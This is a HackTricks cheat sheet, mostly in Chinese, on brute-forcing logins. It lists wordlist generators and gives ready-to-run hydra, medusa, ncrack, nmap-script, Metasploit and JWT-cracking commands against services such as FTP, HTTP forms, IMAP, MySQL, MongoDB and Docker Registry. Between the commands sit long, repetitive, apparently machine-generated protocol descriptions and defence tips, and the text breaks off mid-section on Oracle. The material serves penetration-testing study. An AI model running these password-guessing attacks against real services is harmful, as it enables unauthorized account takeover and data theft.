# 暴力破解 - 速查表
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## 默认凭证
在谷歌中搜索正在使用的技术的默认凭证,或者尝试以下链接:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **创建自己的字典**
尽可能多地了解目标,并生成自定义字典。可能有用的工具:
### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
Cewl is a tool used for generating custom wordlists by scraping websites or documents. It is particularly useful for password cracking and brute force attacks. Cewl works by analyzing the target website or document and extracting relevant keywords and phrases. These keywords and phrases are then combined to create a wordlist that can be used in password guessing attacks.
To use Cewl, you need to provide it with a target URL or a document. Cewl will crawl the target and extract words based on various criteria such as word length, frequency, and relevance. It can also follow links and extract words from linked pages. The extracted words are then processed to remove duplicates and irrelevant terms.
Cewl offers several options for customization. You can specify the minimum and maximum word length, the minimum word frequency, and the number of words to include in the final wordlist. Additionally, you can use regular expressions to filter out unwanted words or phrases.
Once the wordlist is generated, it can be used with password cracking tools like John the Ripper or Hashcat. By using a custom wordlist generated by Cewl, you can increase the chances of success in brute force attacks by including words that are likely to be used as passwords.
Cewl is a powerful tool for generating custom wordlists and enhancing the effectiveness of brute force attacks. However, it is important to note that brute force attacks are illegal and unethical unless performed with proper authorization for legitimate security testing purposes.
```bash
cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
根据你对受害者的了解(姓名、日期等)生成密码
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Wister是一个字典生成工具,允许您提供一组单词,从给定的单词中创建多个变体,从而创建一个针对特定目标的独特和理想的字典。
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____|__ __| ____| __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __| | _ /
\ /\ / _| |_ ____) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
### [pydictor](https://github.com/LandGrey/pydictor)
### 字典列表
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 服务
按服务名称按字母顺序排列。
### AFP
```bash
nmap -p 548 --script afp-brute
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE
msf> set USER_FILE
msf> run
```
### AJP
AJP (Apache JServ Protocol) 是一种用于在 Apache Tomcat 和 Apache HTTP Server 之间进行通信的协议。它允许将请求从 HTTP Server 转发到 Tomcat 服务器,以便处理动态内容。然而,由于默认配置的不安全性,AJP 可能会成为攻击者利用的目标。
#### AJP 基本原理
AJP 使用二进制格式进行通信,通过在 HTTP Server 和 Tomcat 之间建立 AJP 连接来传输请求和响应数据。这种连接通常在端口 8009 上进行。
AJP 协议的基本原理如下:
1. 客户端发送一个请求到 HTTP Server。
2. HTTP Server 将请求转发到 Tomcat 服务器,通过 AJP 连接发送给 Tomcat。
3. Tomcat 处理请求并生成响应。
4. Tomcat 将响应通过 AJP 连接发送回 HTTP Server。
5. HTTP Server 将响应返回给客户端。
#### AJP 攻击方法
攻击者可以利用 AJP 协议的不安全配置来执行以下攻击方法:
1. 目录遍历攻击:攻击者可以通过发送特制的 AJP 请求来访问 Tomcat 服务器上的敏感文件或目录。
2. 信息泄露:攻击者可以通过发送特制的 AJP 请求来获取敏感信息,如配置文件、日志文件等。
3. 远程代码执行:攻击者可以通过发送特制的 AJP 请求来在 Tomcat 服务器上执行恶意代码。
#### 防御措施
为了保护系统免受 AJP 攻击,可以采取以下防御措施:
1. 禁用不必要的 AJP 连接:如果不需要使用 AJP 协议进行通信,应该禁用 AJP 连接。
2. 配置安全的 AJP 连接:如果需要使用 AJP 协议进行通信,应该配置安全的 AJP 连接,包括使用安全的认证和加密机制。
3. 更新和修补软件:及时更新和修补使用 AJP 协议的软件,以修复已知的安全漏洞。
通过采取这些防御措施,可以减少 AJP 协议相关攻击的风险,并提高系统的安全性。
```bash
nmap --script ajp-brute -p 8009
```
# Cassandra
Cassandra 是一个高度可扩展的分布式数据库系统,它被设计用于处理大规模数据集。它采用了分布式架构,可以在多个节点上存储和处理数据。Cassandra 提供了高可用性和容错性,可以自动处理节点故障,并且具有线性可扩展性。
## 基本原理
Cassandra 使用了一种称为分区一致性哈希(Partition Consistent Hashing)的算法来分布数据。这种算法将数据分成多个分区,并将每个分区分配给不同的节点。每个节点负责管理自己分区的数据,并与其他节点进行通信以保持数据的一致性。
Cassandra 还使用了一种称为副本复制(Replication)的机制来提供高可用性和容错性。每个数据分区都有多个副本,这些副本分布在不同的节点上。当一个节点发生故障时,Cassandra 可以自动将副本切换到其他可用的节点上,以确保数据的可用性。
## 攻击方法
Cassandra 可能受到以下攻击方法的威胁:
1. **暴力破解(Brute Force)**:攻击者可以尝试使用暴力破解方法来猜测数据库的凭据,例如用户名和密码。为了防止这种攻击,建议使用强密码,并限制登录尝试次数。
2. **拒绝服务(Denial of Service)**:攻击者可以通过发送大量请求来占用系统资源,导致系统无法正常工作。为了防止这种攻击,建议配置适当的防火墙和负载均衡器,并限制每个客户端的请求速率。
3. **数据泄露(Data Leakage)**:如果未正确配置和保护数据库,攻击者可能能够获取敏感数据。为了防止数据泄露,建议使用适当的访问控制和加密技术来保护数据。
## 安全建议
为了保护 Cassandra 数据库免受攻击,建议采取以下安全措施:
1. **强密码策略**:使用强密码,并定期更改密码。避免使用常见的密码,如生日或简单的字典词汇。
2. **访问控制**:限制对数据库的访问权限,并仅授权给需要访问的用户。使用角色和权限来管理用户的访问级别。
3. **加密通信**:使用 SSL/TLS 协议来加密数据库与客户端之间的通信,以防止数据被窃听或篡改。
4. **定期备份**:定期备份数据库,并将备份存储在安全的位置。这样可以在数据丢失或损坏时进行恢复。
5. **更新和补丁**:及时安装数据库的更新和补丁,以修复已知的安全漏洞和问题。
6. **监控和日志**:实施监控和日志记录机制,以便及时检测和响应潜在的安全事件。
请注意,这些安全建议只是一些基本措施,您可能还需要根据具体情况采取其他安全措施来保护您的 Cassandra 数据库。
```bash
nmap --script cassandra-brute -p 9160
```
### CouchDB
CouchDB is a NoSQL database that uses JSON to store data. It is known for its distributed architecture and ability to handle large amounts of data. CouchDB provides a RESTful API for accessing and manipulating data, making it easy to integrate with web applications.
#### Brute Force Attacks
Brute force attacks are a common method used to gain unauthorized access to systems or accounts. In the context of CouchDB, a brute force attack involves systematically trying different combinations of usernames and passwords until the correct credentials are found.
#### Protecting Against Brute Force Attacks
To protect against brute force attacks on CouchDB, it is important to implement strong security measures. Here are some recommended strategies:
1. **Use Strong Passwords**: Ensure that all user accounts have strong, unique passwords that are not easily guessable.
2. **Implement Account Lockouts**: Set up a mechanism that locks user accounts after a certain number of failed login attempts. This can help prevent brute force attacks by temporarily disabling accounts that are being targeted.
3. **Enable CAPTCHA**: Implement CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) to prevent automated scripts from attempting brute force attacks.
4. **Monitor Login Attempts**: Regularly monitor and analyze login attempts to identify any suspicious activity. This can help detect and mitigate brute force attacks in real-time.
5. **Limit Access**: Restrict access to CouchDB by allowing only trusted IP addresses or networks to connect to the database. This can help prevent unauthorized access attempts.
By implementing these security measures, you can significantly reduce the risk of successful brute force attacks on your CouchDB instance.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registry
Docker Registry is a service that allows you to store and distribute Docker images. It is a central repository where you can upload and download Docker images. Docker Registry can be either public or private, depending on your needs.
#### Brute Force Attack
A brute force attack is a method used by hackers to gain unauthorized access to a system or account by systematically trying all possible combinations of passwords or encryption keys until the correct one is found. This attack relies on the assumption that the password or encryption key is weak and can be easily guessed.
#### Brute Forcing Docker Registry
Brute forcing a Docker Registry involves attempting to gain unauthorized access to the registry by systematically trying different combinations of usernames and passwords. This can be done using automated tools that can generate and test a large number of combinations in a short amount of time.
#### Mitigating Brute Force Attacks
To mitigate brute force attacks on your Docker Registry, you can implement the following security measures:
1. Use strong and complex passwords: Ensure that your passwords are long, contain a combination of uppercase and lowercase letters, numbers, and special characters.
2. Implement account lockout policies: Set up a mechanism that locks user accounts after a certain number of failed login attempts. This can help prevent brute force attacks by temporarily disabling the account.
3. Enable multi-factor authentication (MFA): Implement MFA to add an extra layer of security to your Docker Registry. This requires users to provide additional verification, such as a code sent to their mobile device, in addition to their username and password.
4. Monitor and analyze logs: Regularly monitor and analyze the logs of your Docker Registry to detect any suspicious login attempts or patterns that may indicate a brute force attack. Implementing a log management system can help automate this process.
By implementing these security measures, you can significantly reduce the risk of a successful brute force attack on your Docker Registry.
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
# Elasticsearch
Elasticsearch is a distributed, RESTful search and analytics engine built on top of Apache Lucene. It provides a scalable solution for storing, searching, and analyzing large volumes of data in near real-time.
## Brute Force Attacks
Brute force attacks are a common method used by hackers to gain unauthorized access to Elasticsearch instances. In a brute force attack, the hacker systematically tries all possible combinations of usernames and passwords until the correct credentials are found.
### Protecting Against Brute Force Attacks
To protect against brute force attacks, it is important to implement strong security measures. Here are some best practices to follow:
1. **Use Strong Passwords**: Ensure that all Elasticsearch user accounts have strong, unique passwords that are not easily guessable.
2. **Implement Account Lockouts**: Set up account lockouts after a certain number of failed login attempts. This can help prevent brute force attacks by temporarily locking out the attacker.
3. **Enable IP Whitelisting**: Restrict access to Elasticsearch instances by allowing only trusted IP addresses to connect. This can help prevent unauthorized access from unknown sources.
4. **Monitor Log Files**: Regularly monitor Elasticsearch log files for any suspicious activity or repeated failed login attempts. This can help detect and respond to brute force attacks in a timely manner.
5. **Implement Rate Limiting**: Set up rate limiting to restrict the number of login attempts per minute or hour. This can help prevent brute force attacks by limiting the number of attempts an attacker can make within a given time frame.
By following these best practices, you can significantly reduce the risk of brute force attacks on your Elasticsearch instances.
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
FTP(文件传输协议)是一种用于在计算机之间传输文件的标准网络协议。它允许用户通过网络连接到远程计算机,并在本地计算机和远程计算机之间传输文件。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。在FTP中,暴力破解是指使用自动化工具或脚本来尝试不同的用户名和密码组合,直到找到正确的凭据为止。
暴力破解可以通过以下步骤进行:
1. 枚举用户名:攻击者使用字典或生成器来生成可能的用户名列表。
2. 枚举密码:攻击者使用字典或生成器来生成可能的密码列表。
3. 尝试登录:攻击者使用生成的用户名和密码组合尝试登录到FTP服务器。
4. 检查结果:如果登录成功,则攻击者获得了有效的凭据,可以访问和操纵FTP服务器上的文件。
为了防止暴力破解攻击,FTP服务器通常会实施以下安全措施:
- 强密码策略:要求用户使用复杂的密码,包括字母、数字和特殊字符。
- 登录尝试限制:限制每个用户在一定时间内尝试登录的次数。
- 账户锁定:在多次登录失败后,锁定用户账户一段时间,以防止进一步的尝试。
尽管FTP是一种常见的文件传输协议,但由于其安全性较低,现在已经有更安全的替代方案可供选择,如SFTP(安全文件传输协议)和FTPS(FTP安全)。
```bash
hydra -l root -P passwords.txt [-t 32] ftp
ncrack -p 21 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M ftp
```
### HTTP通用暴力破解
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### HTTP基本身份验证
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h -u -P -M http -m DIR:/path/to/auth -T 10
```
### HTTP - Post表单
Brute forcing a login form is a common technique used to gain unauthorized access to a web application. In this method, an attacker systematically tries different combinations of usernames and passwords until a successful login is achieved.
To perform a brute force attack on an HTTP POST form, follow these steps:
1. Identify the login form: Inspect the HTML source code of the login page to locate the form element that contains the username and password fields.
2. Prepare a wordlist: Create a text file containing a list of possible usernames and passwords. This wordlist will be used by the brute force tool to systematically try different combinations.
3. Use a brute force tool: There are various tools available for performing brute force attacks on web forms. These tools automate the process of sending HTTP POST requests with different username and password combinations. Some popular tools include Hydra, Medusa, and Burp Suite.
4. Configure the brute force tool: Set the target URL to the login page of the web application. Specify the username and password fields in the form data of the HTTP POST request. Configure the tool to use the wordlist file created in step 2.
5. Start the brute force attack: Run the brute force tool and let it systematically try different combinations of usernames and passwords. The tool will send HTTP POST requests to the login form, checking for successful logins.
6. Analyze the results: Once the brute force attack is complete, analyze the results to identify any successful login attempts. The tool may provide a report or log file indicating the usernames and passwords that were successfully guessed.
It is important to note that brute forcing a login form is a time-consuming process and may be detected by security mechanisms such as account lockouts or rate limiting. Additionally, brute forcing is an illegal activity unless performed with proper authorization for penetration testing purposes. Always ensure you have the necessary permissions and legal authorization before attempting any brute force attacks.
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
对于http**s**,你需要将 "http-post-form" 改为 "**https-post-form**"
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
### IMAP
IMAP(Internet Mail Access Protocol)是一种用于接收电子邮件的协议。它允许用户通过电子邮件客户端从邮件服务器上下载邮件。IMAP协议提供了许多功能,如在服务器上管理邮件夹、搜索邮件和同步多个设备上的邮件等。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。在IMAP中,暴力破解可以用于尝试破解用户的登录凭据,以获取对其电子邮件的访问权限。
暴力破解通常涉及使用自动化工具来尝试大量的可能密码组合,直到找到正确的密码为止。攻击者可以使用常见的密码字典、暴力破解软件或自定义脚本来执行此类攻击。
为了防止暴力破解攻击,用户应该选择强密码,并启用账户锁定功能,以限制登录尝试次数。此外,系统管理员还可以使用入侵检测系统(IDS)或入侵防御系统(IPS)来监视和阻止暴力破解攻击。
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V
nmap -sV --script imap-brute -p
```
### IRC
IRC(Internet Relay Chat)是一种实时的互联网聊天协议。它允许用户通过IRC客户端在各种主题的聊天室中进行交流。IRC是一种非常古老的协议,但仍然被广泛使用。
### 暴力破解
暴力破解是一种常见的密码破解技术,它通过尝试所有可能的密码组合来获取未授权访问。这种方法通常用于攻击弱密码保护的系统。暴力破解可以使用字典攻击或穷举攻击的方式进行。
### 字典攻击
字典攻击是一种暴力破解技术,它使用预先准备好的密码列表(称为字典)来尝试破解密码。字典攻击通常比穷举攻击更快,因为它只尝试字典中的密码,而不是所有可能的组合。
### 穷举攻击
穷举攻击是一种暴力破解技术,它尝试使用所有可能的密码组合来破解密码。这种方法非常耗时,因为它需要尝试大量的组合。穷举攻击通常用于攻击没有强密码保护的系统。
### 暴力破解工具
有许多暴力破解工具可用于执行暴力破解攻击。这些工具通常具有自动化功能,可以自动尝试各种密码组合。一些常见的暴力破解工具包括Hydra、John the Ripper和Medusa。
### 防御暴力破解
为了防止暴力破解攻击,可以采取以下措施:
- 使用强密码:选择一个复杂的密码,包括字母、数字和特殊字符,并定期更改密码。
- 锁定账户:在一定的失败尝试次数后,锁定账户一段时间,以防止暴力破解攻击。
- 使用多因素身份验证:使用多个身份验证因素,如密码和手机验证码,以增加安全性。
- 监控登录活动:监控登录活动,及时发现异常登录尝试,并采取相应的措施。
### 总结
暴力破解是一种常见的密码破解技术,通过尝试所有可能的密码组合来获取未授权访问。字典攻击和穷举攻击是常用的暴力破解方法。为了防止暴力破解攻击,应采取一系列安全措施,如使用强密码、锁定账户和使用多因素身份验证。
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p
```
### ISCSI
iSCSI(Internet Small Computer System Interface)是一种用于在IP网络上传输SCSI命令的协议。它允许计算机通过网络连接到远程存储设备,就像它们直接连接到本地存储设备一样。iSCSI使用TCP/IP协议来提供远程存储访问,并通过将SCSI命令封装在IP数据包中来实现数据传输。
iSCSI的工作原理是通过在本地计算机上创建一个iSCSI Initiator(发起者)来建立与远程存储设备的连接。发起者将SCSI命令封装在iSCSI数据包中,并通过网络将其发送到远程存储设备的iSCSI Target(目标)。目标接收并解析命令,并将数据传输回发起者。
iSCSI的优点之一是它可以通过现有的IP网络进行远程存储访问,而无需额外的硬件设备。它还提供了灵活性和可扩展性,可以轻松地将存储设备添加到现有的网络架构中。
然而,iSCSI也存在一些安全风险。由于数据通过网络传输,可能会受到窃听和篡改的威胁。因此,在使用iSCSI时,必须采取适当的安全措施,如使用加密和身份验证来保护数据的机密性和完整性。
总结:iSCSI是一种通过IP网络进行远程存储访问的协议,它提供了灵活性和可扩展性,但也需要注意安全性。
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260
```
### JWT
JSON Web Token(JWT)是一种用于在网络应用之间传递信息的开放标准(RFC 7519)。它通过使用数字签名或加密来验证信息的可靠性和完整性。JWT由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。
#### 头部(Header)
头部通常由两部分组成:令牌的类型(即JWT)和所使用的签名算法。常见的签名算法包括HMAC SHA256和RSA。
#### 载荷(Payload)
载荷包含了要传输的信息,可以包含任意的数据。它可以包含用户的身份信息、权限等。
#### 签名(Signature)
签名用于验证消息的完整性。它由头部、载荷和一个密钥组成。使用密钥对头部和载荷进行签名,以确保在传输过程中没有被篡改。
#### 使用场景
JWT常用于身份验证和授权方面。当用户成功登录后,服务器会生成一个JWT并将其返回给客户端。客户端在后续的请求中将JWT作为身份验证凭证发送给服务器。服务器通过验证JWT的签名来确认用户的身份和权限。
#### JWT的优点
- 简洁:由于JWT是基于JSON格式的,因此它具有良好的可读性和易于解析的特点。
- 自包含:JWT包含了所有必要的信息,因此不需要进行额外的查询。
- 安全性:JWT使用数字签名或加密来验证信息的完整性和可靠性,防止数据被篡改。
#### JWT的缺点
- 无法撤销:一旦JWT被签发,就无法撤销或更改其内容。如果需要撤销或更改权限,必须等待JWT的过期时间到达。
- 增加网络负载:由于JWT需要在每个请求中传输,因此会增加网络负载。
#### 总结
JWT是一种用于在网络应用之间传递信息的开放标准。它具有简洁、自包含和安全性的优点,但也存在无法撤销和增加网络负载的缺点。在身份验证和授权方面,JWT被广泛应用于各种场景中。
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
LDAP(轻量级目录访问协议)是一种用于访问和维护分布式目录服务的协议。它允许客户端通过网络连接到目录服务器,并执行各种操作,如搜索、添加、修改和删除目录条目。
LDAP是一种常见的协议,用于管理用户和组织的身份验证和授权信息。它通常用于企业环境中的身份验证和访问控制,以及电子邮件和其他应用程序中的用户帐户管理。
LDAP协议本身并不涉及具体的身份验证方法,而是提供了一种标准化的方式来与目录服务器进行通信。因此,LDAP可以与各种身份验证机制结合使用,如基于用户名和密码的简单身份验证、基于证书的身份验证等。
LDAP暴力破解是一种攻击技术,攻击者尝试使用大量的用户名和密码组合来尝试登录目标LDAP服务器。这种攻击方法通常需要使用自动化工具,如字典攻击工具或暴力破解工具。
为了防止LDAP暴力破解攻击,目标LDAP服务器应该实施一些安全措施,如限制登录尝试次数、使用强密码策略、启用账户锁定等。此外,使用复杂的密码和多因素身份验证也可以提高安全性。
在进行LDAP暴力破解测试时,渗透测试人员应该获得合法的授权,并遵守法律和道德规范。这种测试可以帮助组织发现并修复LDAP服务器的安全漏洞,以提高整体的安全性。
```bash
nmap --script ldap-brute -p 389
```
### MQTT
MQTT(Message Queuing Telemetry Transport)是一种轻量级的消息传输协议,通常用于物联网设备之间的通信。它基于发布-订阅模式,允许设备通过中间代理(broker)进行消息的发布和订阅。
MQTT协议使用TCP/IP协议栈进行通信,并具有低带宽和低功耗的特点。它适用于网络带宽有限的环境,如传感器网络和移动设备。
MQTT协议的安全性取决于所使用的认证和加密机制。在实施MQTT时,应考虑使用安全的认证方式,如用户名和密码,以及使用TLS/SSL进行数据加密。
攻击者可以利用MQTT协议的弱点进行攻击,如使用暴力破解(brute force)方法尝试猜解用户名和密码,或者通过中间人攻击(man-in-the-middle)窃取传输的数据。
为了保护MQTT通信的安全性,应采取以下措施:
- 使用强密码和用户名,避免使用默认凭据;
- 启用TLS/SSL加密,确保数据在传输过程中的机密性;
- 限制连接到MQTT代理的设备数量,以防止资源耗尽和拒绝服务攻击;
- 定期更新MQTT代理和设备的软件版本,以修复已知的安全漏洞;
- 监控MQTT通信,及时检测异常活动和潜在的攻击。
通过采取这些措施,可以增强MQTT通信的安全性,保护物联网设备和数据的机密性和完整性。
```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
```
### Mongo
Mongo是一种流行的NoSQL数据库,常用于存储大量非结构化数据。由于其广泛的应用,Mongo成为黑客攻击的目标之一。在渗透测试中,使用暴力破解是一种常见的攻击方法,用于尝试破解Mongo数据库的凭据。
暴力破解是一种通过尝试所有可能的组合来破解密码的方法。对于Mongo数据库,黑客可以使用暴力破解工具来尝试不同的用户名和密码组合,直到找到正确的凭据。这种攻击方法的成功取决于密码的复杂性和强度。
为了保护Mongo数据库免受暴力破解攻击,以下是一些建议的安全措施:
1. 使用强密码:确保Mongo数据库的凭据使用强密码,包括大写字母、小写字母、数字和特殊字符的组合。避免使用常见的密码,如"password"或"123456"。
2. 实施账户锁定机制:在一定的失败尝试次数后,暂时锁定账户,以防止暴力破解攻击。这可以通过配置Mongo数据库的安全设置来实现。
3. 使用访问控制列表(ACL):限制对Mongo数据库的访问权限,只允许授权的用户或IP地址访问。这可以通过配置Mongo数据库的网络访问控制列表来实现。
4. 定期更新凭据:定期更改Mongo数据库的凭据,以增加安全性。确保使用不同的密码,并避免重复使用旧密码。
5. 监控登录活动:监控Mongo数据库的登录活动,及时检测和响应任何可疑的登录尝试。这可以通过使用日志记录和安全监控工具来实现。
通过采取这些安全措施,可以提高Mongo数据库的安全性,减少暴力破解攻击的风险。
```bash
nmap -sV --script mongodb-brute -n -p 27017
use auxiliary/scanner/mongodb/mongodb_login
```
### MySQL
MySQL是一种流行的关系型数据库管理系统,广泛用于Web应用程序和其他数据驱动的应用程序中。MySQL使用SQL语言进行查询和管理数据。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。在MySQL中,暴力破解可以用于尝试猜测数据库用户的密码,以获取未经授权的访问权限。
暴力破解通常涉及使用自动化工具或脚本,通过尝试大量可能的密码组合来破解目标系统。攻击者可以使用常见的密码列表、字典文件或生成的密码组合来进行暴力破解。
为了防止暴力破解攻击,MySQL管理员可以采取以下措施:
- 使用强密码策略,要求用户设置复杂的密码。
- 启用账户锁定功能,限制登录尝试次数。
- 监控登录活动,检测异常登录尝试。
- 使用防火墙或网络入侵检测系统来阻止暴力破解攻击。
尽管暴力破解是一种有效的攻击技术,但它通常需要大量时间和计算资源。因此,采取适当的安全措施可以有效地防止暴力破解攻击。
```bash
# hydra
hydra -L usernames.txt -P pass.txt mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql
```
# Brute Force
Brute force is a common method used in penetration testing to crack passwords or gain unauthorized access to systems. It involves systematically trying every possible combination of characters until the correct password is found.
## Brute Force Attacks on Oracle SQL
Brute force attacks on Oracle SQL databases can be performed using various tools and techniques. Here are some common methods:
1. **Dictionary Attack**: This method involves using a pre-generated list of commonly used passwords or words from a dictionary to attempt to crack the password. Tools like Hydra and Medusa can be used for this purpose.
